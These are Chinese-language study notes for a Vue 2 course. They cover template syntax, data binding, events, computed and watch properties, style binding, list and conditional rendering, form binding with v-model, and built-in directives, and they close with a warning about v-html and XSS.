一、初识Vue:
1.想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象
2.root容器里的代码依然要符合html规范,只不过混入了一些特殊的Vue语法
3.root容器里的代码被称为【Vue模板】
4.Vue实例和容器是一一对应的
5.真实开发中只有一个Vue实例,并且会配合着组件一起使用
6.{{xxx}}中的xxx要写js表达式,且xxx可以自动读取到data中的所有属性
7.一旦data中的数据发生改变,那么模板中用到该数据的地方也会自动更新
1.1注意区分:js表达式 和 js代码
1.表达式:一个表达式会产生一个值,可以放在任何一个需要值的地方
(1)a
(2)a+b
(3)x === y ? 'a' : 'b'
2.js代码(语句)
(1)if(){}
(2)for(){}
<div id="root">
<h1>Hello,{{name}}</h1>
</div>
<script>
Vue.config.productionTip = false; //阻止vue在启动时生成生产提示
const x = new Vue({
el: '#root', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串
data: { //data中用于存储数据,数据供el所指定的容器去使用,值暂时先写成一个对象
name: '尚硅谷'
}
});
</script>
二、模板语法
2.1 插值语法
利用{{xxx}}引用Vue中data中的属性,用于解析标签体内容
2.2 指令语法
利用v-bind:或者:解析标签(包括:标签属性、标签体内容、绑定事件……)
举例:v-bind:href="xxx"或者简写为 :href="xxx"
<div id="root">
<h1>插值语法</h1>
<h3>Hello,{{name}}</h3> <!--插值语法-->
<h1>指令语法</h1>
<a v-bind:href="school.url">点我去{{school.name}}学习</a> <!--指令语法-->
</div>
<script>
Vue.config.productionTip = false; //阻止vue在启动时生成生产提示
const x = new Vue({
el: '#root', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串
data: { //data中用于存储数据,数据供el所指定的容器去使用,值暂时先写成一个对象
name: 'Suzie',
school: {
url: 'http://www.baidu.com',
name: '尚硅谷'
}
}
});
</script>
三、数据绑定
3.1 单向数据绑定
v-bind: 数据只能从data流向页面。
3.2 双向数据绑定
v-model: 数据不仅能从data流向页面,还可以从页面流向data。
但是v-model:只能应用在表单类元素(输入类元素)上,如input、select等
v-model:value可以简写为v-model
<div id="root">
单向数据绑定:<input type="text" v-bind:value="name"><br />
双向数据绑定:<input type="text" v-model:value="name">
<!--简写版-->
单向数据绑定:<input type="text" :value="name"><br />
双向数据绑定:<input type="text" v-model="name">
</div>
<script>
Vue.config.productionTip = false;
new Vue({
el: '#root',
data: {
name: 'Suzie'
}
})
</script>
四、el与data的两种写法
4.1 el
el 属性又称挂载点,可认为是 element 的简写,创建一个 vue实例 得知道是在哪一块元素上创建 Vue实例 ,对哪一块视图进行操作。
el可以在new Vue中直接写,也可以使用$mount{'xxx'}
<div id="root">
<h1>你好,{{name}}</h1>
</div>
<script>
Vue.config.conductionTip = false;
const v = new Vue({
//第一种写法
//el: '#root',
data: {
name: 'Suzie'
}
})
//第二种写法 利用$mount('xxx')
v.$mount('#root');
</script>
4.2 data
4.2.1 对象式
new Vue({
el: '#root',
data: {
name: 'Suzie'
}
})
4.2.2 函数式
new Vue({
el: '#root',
data() {
return {
name: 'Suzie'
}
}
})
注意:由Vue所管理的函数一定不要写箭头函数,一旦写了箭头函数,this就不再是Vue实例了
五、Object.defineProperty()
Object.defineProperty()的作用就是直接在一个对象上定义一个新属性,或者修改一个已经存在的属性
Object.defineProperty(obj, prop, desc)
obj:需要定义属性的对象
prop:当前需要定义的属性名
desc:属性描述符
5.1 desc属性描述符
5.1.1 value属性
为prop当前属性名添加或修改值
5.1.2 enumerable属性
通过Object.defineProperty()添加的属性不参加枚举(遍历),若想参加遍历,则要在desc中使enumerable为true
<script>
let Person = {
name: 'Suzie',
sex: '女'
}
// Object.defineProperty(Person,'age',{
// value: 22
// })
// console.log(Object.keys(Person)) //['name','sex']
Object.defineProperty(Person,'age',{
value: 22,
enumerable: true //控制属性是否可以枚举,默认值是false
})
console.log(Object.keys(Person)); //['name','sex','age']
</script>
5.1.3 writable属性
通过Object.defineProperty()添加的属性不能进行修改,若想修改则要在desc中使writable为true
let Person = {
name: 'Suzie',
sex: '女'
}
Object.defineProperty(Person,'age',{
value: 22,
writable: true //控制属性是否可以被修改,默认值是false
})
5.1.4 configurable属性
通过Object.defineProperty()添加的属性不能删除,若想删除则要在desc中使configurable为true
let Person = {
name: 'Suzie',
sex: '女'
}
Object.defineProperty(Person,'age',{
value: 22,
configurable: true //控制属性是否可以被删除,默认值是false
})
5.1.5 get属性
当有人读取obj的prop属性时,get函数(getter)就会被调用,且返回值就是prop的值
let number = 18;
let Person = {
name: 'Suzie',
sex: '女'
}
Object.defineProperty(Person,'age',{
//当有人读取Person的age属性时,get函数就会被调用,且返回值就是age的值
get(){
return number;
}
})
5.1.6 set属性
当有人修改obj的prop属性时,set函数就会被调用,且会收到修改的具体值
let number = 18;
let Person = {
name: 'Suzie',
sex: '女'
}
Object.defineProperty(Person,'age',{
//当有人读取Person的age属性时,get函数就会被调用,且返回值就是age的值
get: function(){
return number;
},
//当有人修改Person的age属性时,set函数就会被调用,且会收到修改的具体值
set(value) {
number = value;
}
})
六、数据代理
6.1 何为数据代理
<!--数据代理:通过一个对象代理对另一个对象中属性的操作(读/写)-->
<script>
let obj = {x: 100};
let obj2 = {y: 200};
Object.defineProperty(obj2,'x',{
get(){
return obj.x;
},
set(value){
obj.x = value;
}
})
</script>
6.2 Vue数据代理
Vue中的数据代理:通过vm对象来代理data对象中属性的操作(读/写),更加方便的操作data中的属性,如果没有数据代理,data中的所有属性就不能直接调用,前面应该加上_data.调用
基本原理:通过Object.defineProperty()把data对象中的所有属性添加到vm上,为每一个添加到vm上的属性都指定一个getter/setter,在getter/setter内部去操作(读/写)data中对应的属性。
七、事件处理
7.1 事件的基本使用
1.使用v-on:xxx 或 @xxx 绑定事件,其中xxx是事件名
2.事件的回调需要配置在methods对象中,最终会在vm上
3.methods中配置的函数,不要使用箭头函数!否则this的指向就不是vm了
4.methods中配置的函数,都是被vue所管理的函数,this的指向是vm或组件实例对象
5.@click="demo"和@click="demo(参数,$event)"的效果一致,但后者可以传参
<div id="root">
<button v-on:click="showInfo1">点我提示信息1(不传参)</button>
<button @click="showInfo2(66,$event)">点我提示信息2(传参)</button>
</div>
<!--数据代理:通过一个对象代理对另一个对象中属性的操作(读/写)-->
<script>
Vue.config.conductionTip = false;
const vm = new Vue({
el: '#root',
data: {
name: 'Suzie'
},
methods: {
showInfo1(event) {
console.log(event);
},
showInfo2(number,event) {
console.log(number,event);
}
}
})
</script>
7.2 事件修饰符
1.prevent:阻止默认事件(常用)
2.stop:阻止事件冒泡(常用)
3.once:事件只触发一次(常用)
4.capture:使用事件的捕获模式
5.self:只有event.target是当前操作的元素时才触发事件
6.passive:事件的默认行为立即执行,无须等待事件回调执行完毕
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script type="text/javascript" src="../js/vue.js"></script>
<style>
*{
margin: 20px;
}
.demo1{
background-color: palegoldenrod;
}
.box1 {
padding: 5px;
background-color: skyblue;
}
.box2{
background-color: plum;
}
.list {
width: 200px;
height: 200px;
background-color: peru;
overflow: auto;
}
li {
height: 100px;
}
</style>
</head>
<body>
<div id="root">
<!--阻止默认事件(常用)-->
<a href="http://www.baidu.com" @click.prevent="showInfo">阻止默认事件</a>
<!--阻止事件冒泡(常用)-->
<div class="demo1" @click="showInfo">
<button @click.stop="showInfo">点我阻止冒泡</button>
<!-- 在哪一层加了阻止事件冒泡,哪一层外面的所有祖先冒泡都会被阻止 -->
<!-- 修饰符可以连续写 -->
</div>
<!--事件只触发一次(常用)-->
<button @click.once="showInfo">点我只触发一次</button>
<!--使用事件的捕获模式-->
<div class="box1" @click.capture="showMsg(1)">
div1
<div class="box2" @click="showMsg(2)">
div2
</div>
</div>
<!--只有event.target是当前操作的元素时才触发事件-->
<div class="demo1" @click.self="showInfo">
<button @click="showInfo">点我提示信息</button>
</div>
<!--事件的默认行为立即执行,无需等待事件回调执行完毕-->
<ul @wheel.passive="demo" class="list">
<li>1</li>
<li>2</li>
<li>3</li>
<li>4</li>
</ul>
<!-- @wheel滚轮滚动事件 @scroll滚动条滚动事件 -->
</div>
<script>
Vue.config.conductionTip = false;
new Vue({
el: "#root",
data: {
name: "Suzie"
},
methods: {
showInfo(){
alert("hi~");
},
showMsg(msg){
console.log(msg);
},
demo(){
for (let i = 0; i < 100000; i++) {
console.log('#')
}
console.log('累坏了')
}
}
})
</script>
</body>
若想有多个事件修饰符7可以连着写,例如@xxx.prevent.stop
7.3 键盘事件
1.Vue中常用的按键别名
回车 => enter
删除 => delete(捕获删除和退格键)
退出 => esc
空格 => space
换行 => tab(特殊,必须配合keydown使用)
上 => up
下 => down
左 => left
右 => right
2.Vue未提供别名的按键,可以去使用按键原始的key值去绑定,但注意要转为kebab-case(短横线命名)
3.系统修饰键(用法特殊):ctrl、alt、shift、meta
(1)配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发
(2)配合keydown使用:正常触发事件
4.也可以使用keyCode去指定具体的按键(不推荐)
5.Vue.config.keyCodes.自定义键名 = 键码,可以去定制按键别名
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2>欢迎来到{{name}}学习</h2>
<input type="text" placeholder="按下回车提示输入" @keydown.huiche="showInfo">
<!-- <input type="text" placeholder="按下回车提示输入" @keydown.enter="showInfo"> -->
<!--当有需求要同时按下两个键才能生效时
<input type="text" placeholder="按下回车提示输入" @keyup.ctrl.y="showInfo"> -->
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
Vue.config.keyCodes.huiche = 13 //定义了一个别名按键
new Vue({
el: '#root',
data: {
name: '尚硅谷'
},
methods: {
showInfo(e) {
// console.log(e.key,e.keyCode)
// if (e.keyCode !== 13) return 如果不是回车键,则弹出函数
console.log(e.target.value)
}
},
})
</script>
八、属性
8.1 姓名案例
8.1.1 插值语法实现
<body>
<!-- 准备好一个容器 -->
<div id="root">
姓:<input type="text" v-model="firstName"> <br/>
名:<input type="text" v-model="lastName"> <br/>
全名:<span>{{firstName}}-{{lastName}}</span>
</div>
</body>
<script type="text/javascript">
new Vue({
el: '#root',
data: {
firstName: '张',
lastName: '三'
}
})
</script>
8.1.2 methods方法实现
注意:只要data中的数据发生改变,Vue就会重新解析模板,使用到data中数据的地方就会重新调用。在插值语法中调用methods中的方法时,需要加括号(),加括号是执行函数后的结果,不加括号是打印该函数。
<body>
<!-- 准备好一个容器 -->
<div id="root">
姓:<input type="text" v-model="firstName"> <br/>
名:<input type="text" v-model="lastName"> <br/>
<!-- 在插值语法中调用methods方法时必须加括号(),加括号是执行函数后的结果,不加括号是打印该函数 -->
全名:<span>{{fullName()}}</span>
</div>
</body>
<script type="text/javascript">
new Vue({
el: '#root',
data: {
firstName: '张',
lastName: '三'
},
methods: {
fullName() {
return this.firstName + '-' + this.lastName;
}
}
})
</script>
8.2 计算属性computed
Vue将data中的数据视为属性
定义:要用的属性不存在,要通过已有的属性计算得来
原理:底层借助了Object.defineProperty方法提供的getter和setter
优势:与methods实现相比,内部有缓存机制(复用),效率更高,调试方便
备注:(1)计算属性最终会出现在vm上,直接读取使用即可
(2)如果计算属性要被修改,那必须写set函数去相应修改,且set中要引起计算时依赖的数据发生改变
<div id="root">
姓:<input type="text" v-model="firstName"> <br/>
名:<input type="text" v-model="lastName"> <br/>
全名:<span>{{fullName}}</span>
</div>
<script>
Vue.config.conductionTip = false;
const vm = new Vue({
el: "#root",
data: {
firstName: '张',
lastName: '三'
},
computed: {
//完整过程
// fullName: {
// //get有什么作用?当有人读取fullName时,get就会被调用,且返回值就作为fullName的值
// //get什么时候调用?1.初次读取fullName时。2.所依赖的数据发生变化时。
// get() {
// return this.firstName + '-' + this.lastName;
// },
// //set什么时候调用? 当fullName被修改时。
// set(value) {
// const arr = value.split('-');
// thsi.firstName = arr[0];
// this.lastName = arr[1];
// }
// }
//简写
fullName() {
return this.firstName + '-' + this.lastName;
}
}
})
</script>
8.3 监视属性(侦听器watch)
1.当被监视的属性变化时,回调函数自动调用,进行相关操作
2.监视的属性必须存在才能进行监视
3.监视的两种写法
(1)new Vue时传入watch配置
(2)通过xxx.$watch()监视
<body>
<div id="root">
<h3>今天天气很{{info}}</h3>
<button @click="changeWeather">切换天气</button>
</div>
<script>
Vue.config.conductionTip = false;
const vm = new Vue({
el: "#root",
data: {
isHot: false
},
computed: {
info() {
return this.isHot ? '炎热' : '凉爽';
}
},
methods: {
changeWeather() {
this.isHot = !this.isHot;
}
},
//方法一
watch: {
//正常写法
isHot: {
immediate: true, //初始化时让handler调用一下
//handler什么时候调用? 当isHot发生改变时
handler(newValue,oldValue) {
console.log('isHot被修改了',newValue,oldValue);
}
}
//简写
// isHot(newValue,oldValue) {
// console.log('isHot被修改了',newValue,oldValue);
// }
}
})
//方法二 完整写法
// vm.$watch('isHot',{
// immediate: true, //初始化时让handler调用一下
// //handler什么时候调用? 当isHot发生改变时
// handler(newValue,oldValue) {
// console.log('isHot被修改了',newValue,oldValue);
// }
// })
//方法二 简写
// vm.$watch('isHot',function(newValue,oldValue){
// console.log('isHot被修改了',newValue,oldValue);
// })
</script>
</body>
8.3.1 深度监视(deep:true)
1.Vue中的watch默认不监视对象内部值的改变(一层)
2.配置deep:true可以监视对象内部值改变(多层)
备注:
(1)Vue自身可以监视对象内部值的改变,但Vue提供的watch默认不可以
(2)使用watch时根据数据的具体结构,决定是否采用深度监视
<body>
<div id="root">
<button @click="number.a++">点我让我a+1</button>
<button @click="number.b++">点我让我b+1</button>
</div>
<script>
Vue.config.conductionTip = false;
const vm = new Vue({
el: "#root",
data: {
number: {
a: 1,
b: 1
}
},
watch: {
//监视多级结构中某个属性的变化
//一定要加引号
'number.a': {
handler(){
console.log('a被改变了');
}
},
'number.b': {
handler(){
console.log('b被改变了');
}
},
//监视多级结构中所有属性的变化
number: {
deep: true, //深度监视
handler() {
console.log('number改变了');
}
}
}
})
</script>
</body>
8.3.2 姓名案例(watch实现)
<body>
<!-- 准备好一个容器 -->
<div id="root">
姓:<input type="text" v-model="firstName"> <br/>
名:<input type="text" v-model="lastName"> <br/>
全名:<span>{{fullName}}</span>
</div>
</body>
<script type="text/javascript">
const vm = new Vue({
el: '#root',
data: {
firstName: '张',
lastName: '三',
fullName: '张-三'
},
watch: {
firstName: {
handler(newValue) {
this.fullName = newValue + '-' + this.lastName
}
},
lastName: {
handler(newValue) {
this.fullName = this.firstName + '-' + newValue
}
}
}
})
</script>
计算属性computed与侦听属性watch的区别:
1.computed能完成的功能,watch都可以完成
2.watch能完成的功能,computed不一定能完成,例如:watch可以进行异步操作
两个重要小原则:
1.所被Vue管理的函数,最好写成普通函数,这样this指向的才是vm 或 组件实例对象
2.所有不被Vue管理的函数(定时器的回调函数、ajax的回调函数等)最好写成箭头函数,这样this指向的才是vm 或 组件实例对象
九、绑定样式
9.1 class样式
写法: :class="xxx" xxx可以是字符串、对象、数组
字符串写法适用于:类名不确定,要动态获取
数组写法适用于:要绑定多个样式,个数不确定,名字也不确定
对象写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用
9.2 style样式
:style="{fontSize:xxx}" 其中xxx是动态值
:style="[a,b]" 其中a、b是样式对象
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>绑定样式</title>
<style>
.basic {
width: 400px;
height: 100px;
border: 1px solid black;
}
.happy {
border: 4px solid red;
background-color: rgba(255, 255, 0, 0.644);
background: linear-gradient(30deg, yellow, pink, orange, yellow);
}
.sad {
border: 4px dashed rgb(2, 197, 2);
background-color: gray;
}
.normal {
background-color: skyblue;
}
.atguigu1 {
background-color: yellowgreen;
}
.atguigu2 {
font-size: 30px;
text-shadow: 2px 2px 10px red;
}
.atguigu3 {
border-radius: 20px;
}
</style>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<!-- 绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定 -->
<div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br /><br />
<!-- 绑定class样式--数组写法,适用于:要绑定的样式个数不确定、名字也不确定 -->
<div class="basic" :class="classArr">{{name}}</div> <br /><br />
<!-- 绑定class样式--对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用 -->
<div class="basic" :class="classObj">{{name}}</div> <br /><br />
<!-- 绑定style样式--对象写法 -->
<div class="basic" :style="styleObj">{{name}}</div> <br /><br />
<!-- 绑定style样式--数组写法 -->
<div class="basic" :style="styleArr">{{name}}</div>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
const vm = new Vue({
el: '#root',
data: {
name: '我要进大厂',
mood: 'normal',
classArr: ['atguigu1', 'atguigu2', 'atguigu3'],
classObj: {
atguigu1: true,
atguigu2: false,
},
styleObj: {
fontSize: '40px',
color: 'red',
},
styleObj2: {
backgroundColor: 'orange'
},
styleArr: [
{
fontSize: '40px',
color: 'blue',
},
{
backgroundColor: 'gray'
}
]
},
methods: {
changeMood() {
//随机切换心情
const arr = ['happy', 'sad', 'normal']
const index = Math.floor(Math.random() * 3)
//Math.random() 返回 0 ~ 1 之间的随机数,包含 0 不包含 1。
//Math.floor(x) 对 x 进行下舍入,即向下取整。
this.mood = arr[index]
}
},
})
</script>
</html>
十、渲染
10.1 条件渲染
10.1.1 v-if
写法:
(1)v-if = "表达式"
(2)v-else-if = "表达式"
(3)v-else
适用于:切换频率较低的场景
特点:不展示的DOM元素直接被移除
注意:v-if可以和v-else-if、v-else一起使用,但要求结构不能被打断
10.1.2 v-show
写法: v-show = "表达式"
适用于:切换频率较高的场景
特点:不展示的DOM元素未被删除,仅仅是样式隐藏掉
备注:使用v-if时元素可能无法获取到,而使用v-show一定可以获取到
v-if可以与template(模板,不破坏原有的结构)一起配合使用,但v-show和template不能一起使用
<body>
<div id="root">
<h2>当前的值是{{n}}</h2>
<button @click="n++">点我n+1</button>
<!-- 使用v-show做条件渲染 -->
<!-- <h2 v-show="false">欢迎来到{{name}}</h2> -->
<!-- <h2 v-show="1 === 1">欢迎来到{{name}}</h2> -->
<!-- 使用v-if做条件渲染 -->
<!-- <h2 v-if="false">欢迎来到{{name}}</h2> -->
<!-- <h2 v-if="1 === 1">欢迎来到{{name}}</h2> -->
<!-- v-else和v-else-if -->
<!-- <div v-if="n === 1">Angular</div>
<div v-else-if="n === 2">React</div>
<div v-else-if="n === 3">Vue</div>
<div v-else>哈哈</div> -->
<!-- v-if与template的配合使用 -->
<template v-if="n === 1">
<h2>你好</h2>
<h2>青岛</h2>
</template>
</div>
<script>
Vue.config.conductionTip = false;
const vm = new Vue({
el: "#root",
data: {
name: '青岛' ,
n: 1
}
})
</script>
</body>
10.2 列表渲染v-for
v-for指令:
1.用于展示列表数据
2.语法: v-for="(item,index) in xxx" :key="yyy" 或 v-for="(item,index) of xxx" :key="yyy"
3.可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)
<body>
<!-- 准备好一个容器-->
<div id="root">
<!-- 遍历数组 -->
<h2>人员列表(遍历数组)</h2>
<ul>
<li v-for="(p,index) of persons" :key="p.id">
{{p.name}}-{{p.age}}--{{p.id}}
</li>
</ul>
<!-- 遍历对象 -->
<h2>汽车信息(遍历对象)</h2>
<ul>
<li v-for="(value,name) of car" :key="name">
{{name}}-{{value}}
</li>
</ul>
<!-- 遍历字符串 -->
<h2>测试遍历字符串(用得少)</h2>
<ul>
<li v-for="(char,index) of str" :key="index">
{{index}}-{{char}}
</li>
</ul>
<!-- 遍历指定次数 -->
<h2>测试遍历指定次数(用得少)</h2>
<ul>
<li v-for="(number,index) of 5" :key="index">
{{index}}-{{number}}
</li>
</ul>
</div>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
persons: [
{ id: '001', name: '张三', age: 18 },
{ id: '002', name: '李四', age: 19 },
{ id: '003', name: '王五', age: 20 }
],
car: {
name: '奥迪A8',
price: '70万',
color: '黑色'
},
str: 'hello'
}
})
</script>
</body>
10.2.1 key的内部原理(默认为index)
1.虚拟DOM中key的作用:key是虚拟DOM对象的标识,当状态中的数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】,随后Vue将进行【新的虚拟DOM】与【旧虚拟DOM】的差异比较
2.对比规则
(1)旧虚拟DOM中找到了与新虚拟DOM相同的key:
①若虚拟DOM中内容没变,直接使用之前的真实DOM
②若虚拟DOM中内容变了,则生成新的真实DOM,随后替换掉页面中之前的真实DOM
(2)旧虚拟DOM中未找到与新虚拟DOM相同的key,则创建新的真实DOM,随后渲染到页面
3.用index作为key可能引发的问题:
(1)若对数据进行逆序添加、逆序删除等破坏顺序操作,会产生没有必要的真实DOM更新 =>页面效果没问题,但效率低
(2)如果结构中还包含输入类的DOM,会产生错误DOM更新 =>页面有问题
4.开发中如何选择key?
(1)最好使用每条数据的唯一标识作为key,如id、手机号、身份证号、学号等唯一值
(2)如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表,可以使用index作为key
<body>
<!-- 准备好一个容器-->
<div id="root">
<button @click="add">点击添加新人员</button>
<h2>人员列表(遍历数组) :key="p.id"</h2>
<ul>
<li v-for="(p,index) of persons" :key="p.id">
{{p.name}}-{{p.age}}
<input type="text">
</li>
</ul>
<h2>人员列表(遍历数组) :key="index"</h2>
<ul>
<li v-for="(p,index) of persons" :key="index">
{{p.name}}-{{p.age}}
<input type="text">
</li>
</ul>
</div>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
persons: [
{ id: '001', name: '张三', age: 18 },
{ id: '002', name: '李四', age: 19 },
{ id: '003', name: '王五', age: 20 }
]
},
methods: {
add() {
const p = { id: '004', name: '老刘', age: 30}
this.persons.unshift(p);
}
}
})
</script>
</body>
初始数据:
点击添加新成员后:
初始数据:
点击添加新成员后:
10.2.2 列表过滤
用watch实现:
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2>人员列表</h2>
<input type="text" placeholder="请输入名字" v-model="keyWord">
<ul>
<li v-for="(p,index) of filPersons" :key="p.id">
{{p.name}}-{{p.age}}-{{p.sex}}
</li>
</ul>
</div>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
keyWord: '',
persons: [
{ id: '001', name: '马冬梅', age: 18, sex:'女'},
{ id: '002', name: '周冬雨', age: 19, sex:'女'},
{ id: '003', name: '周杰伦', age: 20, sex:'男'},
{ id: '004', name: '温兆伦', age: 21, sex:'男'}
],
filPersons: []
},
watch: {
keyWord: {
immediate: true,
handler(val) {
this.filPersons = this.persons.filter(p => {
return p.name.indexOf(val) !== -1;
})
}
}
}
})
</script>
</body>
用computed实现(推荐):
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2>人员列表</h2>
<input type="text" placeholder="请输入名字" v-model="keyWord">
<ul>
<li v-for="(p,index) of filPersons" :key="p.id">
{{p.name}}-{{p.age}}-{{p.sex}}
</li>
</ul>
</div>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
keyWord: '',
persons: [
{ id: '001', name: '马冬梅', age: 18, sex:'女'},
{ id: '002', name: '周冬雨', age: 19, sex:'女'},
{ id: '003', name: '周杰伦', age: 20, sex:'男'},
{ id: '004', name: '温兆伦', age: 21, sex:'男'}
],
},
computed: {
filPersons: {
get() {
return this.persons.filter(p => {
return p.name.indexOf(this.keyWord) !== -1;
})
}
}
}
})
</script>
</body>
10.2.3 列表排序
列表排序与列表过滤一般是连在一起使用
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2>人员列表</h2>
<input type="text" placeholder="请输入名字" v-model="keyWord">
<button @click="sortType = 2">年龄升序</button>
<button @click="sortType = 1">年龄降序</button>
<button @click="sortType = 0">原顺序</button>
<ul>
<li v-for="(p,index) of filPersons" :key="p.id">
{{p.name}}-{{p.age}}-{{p.sex}}
</li>
</ul>
</div>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
keyWord: '',
sortType: 0, //0原顺序 1降序 2升序
persons: [
{ id: '001', name: '马冬梅', age: 30, sex: '女'},
{ id: '002', name: '周冬雨', age: 31, sex: '女'},
{ id: '003', name: '周杰伦', age: 18, sex: '男'},
{ id: '004', name: '温兆伦', age: 19, sex: '男'}
]
},
computed: {
filPersons() {
const arr = this.persons.filter((p) => {
return p.name.indexOf(this.keyWord) !== -1
})
//判断一下是否需要排序
if (this.sortType !== 0) {
arr.sort((p1, p2) => {
return this.sortType === 1 ? p2.age - p1.age : p1.age - p2.age
})
}
return arr
}
}
})
</script>
</body>
10.2.3 数据监测
1.vue会监视data中所有层次的数据
2.如何监测对象中的数据?
通过setter实现监视,且要在new Vue时就传入要监测的数据
(1)对象中后追加的属性,Vue默认不做响应式处理
(2)如需给后添加的属性做响应式处理,请使用如下API:
Vue.set(target, propertyName/index, value) 或 vm.$set(target, propertyName/index, value)
3.如何监测数组中的数据?
通过包裹数组更新元素的方式实现,本质是做了两件事:调用原生对应的方法对数组进行更新;重新解析模板,进而更新页面
4.在Vue修改数组中的某个元素一定要用如下方法
(1)使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
(2)Vue.set() 或 vm.$set()
注意:Vue.set() 和 vm.$set() 不能给vm或vm的根数据对象添加属性!!!即不能直接给data添加属性
<body>
<div id="root">
<h1>学生信息</h1>
<button @click="student.age++">年龄加一岁</button>
<button @click="addSex">添加性别属性,默认值:女</button>
<button @click="student.sex = '未知' ">修改性别</button>
<button @click="addFriend">在列表首位添加一个朋友</button>
<button @click="updateFirstFriendName">修改第一个朋友的名字为:张三</button>
<button @click="addHobby">添加一个爱好</button>
<button @click="updateHobby">修改第一个爱好为:游戏</button>
<h2>姓名:{{student.name}}</h2>
<h2>年龄:{{student.age}}</h2>
<h2 v-if="student.sex">性别:{{student.sex}}</h2>
<h2>爱好:</h2>
<ul>
<li v-for="(h,index) in student.hobby" :key="index">
{{h}}
</li>
</ul>
<h2>朋友们:</h2>
<ul>
<li v-for="(f,index) in student.friends" :key="index">
{{f.name}}--{{f.age}}
</li>
</ul>
</div>
<script type="text/javascript">
const vm = new Vue({
el: '#root',
data: {
student: {
name: 'suzie',
age: 22,
hobby: ['游泳', '看书', '运动'],
friends: [
{name: 'jerry', age: 20},
{name: 'tom', age: 23},
]
}
},
methods: {
addSex() {
// Vue.set(target, key, val)
// Vue.set(this.student, 'sex', '女')
this.$set(this.student, 'sex', '女')
},
addFriend() {
this.student.friends.unshift({name: 'jack', age: '25'})
},
updateFirstFriendName() {
this.student.friends[0].name = '张三'
},
addHobby() {
this.student.hobby.push('学习')
},
updateHobby() {
// this.student.hobby.splice(0, 1, '游戏') //注意:不能写成this.student.hobby[0] = '游戏'
Vue.set(this.student.hobby, 0, '游戏')
}
},
})
</script>
</body>
十一、表单输入绑定
11.1 基本用法
11.1.1 文本
<input type="text" /> 或 <input type="password" />,则v-model收集的是value值,用户输入的就是value值。
11.1.2 多行文本
<textarea>,则v-model收集的是value值,用户输入的就是value值。
注意:在<textarea>中是不支持插值表达式的,请使用v-model来替代
<!-- 错误 -->
<textarea>{{ text }}</textarea>
<!-- 正确 -->
<textarea v-model="text"></textarea>
11.1.3 复选框
<input type="checkbox" />
1.没有配置input的value属性,则v-model收集的是checked(勾选 or 未勾选,是布尔值)
2.配置input的value属性
(1)v-model的初始值是非数组,则收集的是checked(勾选 or 未勾选,是布尔值)
(2)v-model的初始值是数组,则收集的是value组成的数组
11.1.4 单选按钮
<input type="radio" />,则v-model收集的是value值,且要给标签配置value值
11.2 v-model的修饰符
11.2.1 lazy
v-model.lazy:失去焦点再收集数据
11.2.2 number
v-model.number:输入字符串转为有效的数字
11.2.3 trim
v-model.trim:输入首尾空格过滤
<body>
<div id="root">
<form @submit.prevent="demo">
账号:<input type="text" v-model.trim="userInfo.account"> <br/><br/>
密码:<input type="password" v-model="userInfo.password"> <br/><br/>
年龄:<input type="number" v-model.number="userInfo.age"> <br/><br/>
性别:
男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>
爱好:
学习<input type="checkbox" v-model="userInfo.hobby" value="study">
游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
运动<input type="checkbox" v-model="userInfo.hobby" value="exercise"><br/><br/>
所属校区
<select v-model="userInfo.area">
<option value="">请选择校区</option>
<option value="shahe">沙河校区</option>
<option value="qingshuihe">清水河校区</option>
</select><br/><br/>
其他信息:<textarea v-model.lazy="userInfo.other"></textarea><br/><br/>
<input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.baidu.com">《用户须知》</a>
<button>提交</button>
</form>
</div>
<script type="text/javascript">
const vm = new Vue({
el: '#root',
data: {
userInfo: {
account: '',
password: '',
age: '',
sex: 'female',
hobby: [],
area: '',
other: '',
agree: ''
}
},
methods: {
demo() {
console.log(JSON.stringify(this.userInfo))
}
}
})
</script>
</body>
十二、内置指令与自定义指令
12.1 内置指令
12.1.1 v-text
作用:向其所在的节点中渲染文本内容
与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会
<body>
<div id="root">
<!-- 均输出为:suzie -->
<div>{{name}}</div>
<div v-text="name"></div>
<!-- 输出为:你好,suzie -->
<div>你好,{{name}}</div>
<!-- 输出为:suzie -->
<div v-text="name">你好,</div>
</div>
<script type="text/javascript">
new Vue({
el: '#root',
data: {
name: 'suzie'
}
})
</script>
</body>
12.1.2 v-html
作用:向指定节点中渲染包含html结构的内容
与插值语法的区别:
(1)v-html会替换掉节点中所有的内容,{{xx}}则不会
(2)v-html可以识别html结构
注意:v-html有安全性问题!!!
(1)在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
(2)一定要在可信的内容上使用v-html,永远不要用在用户提交的内容上!
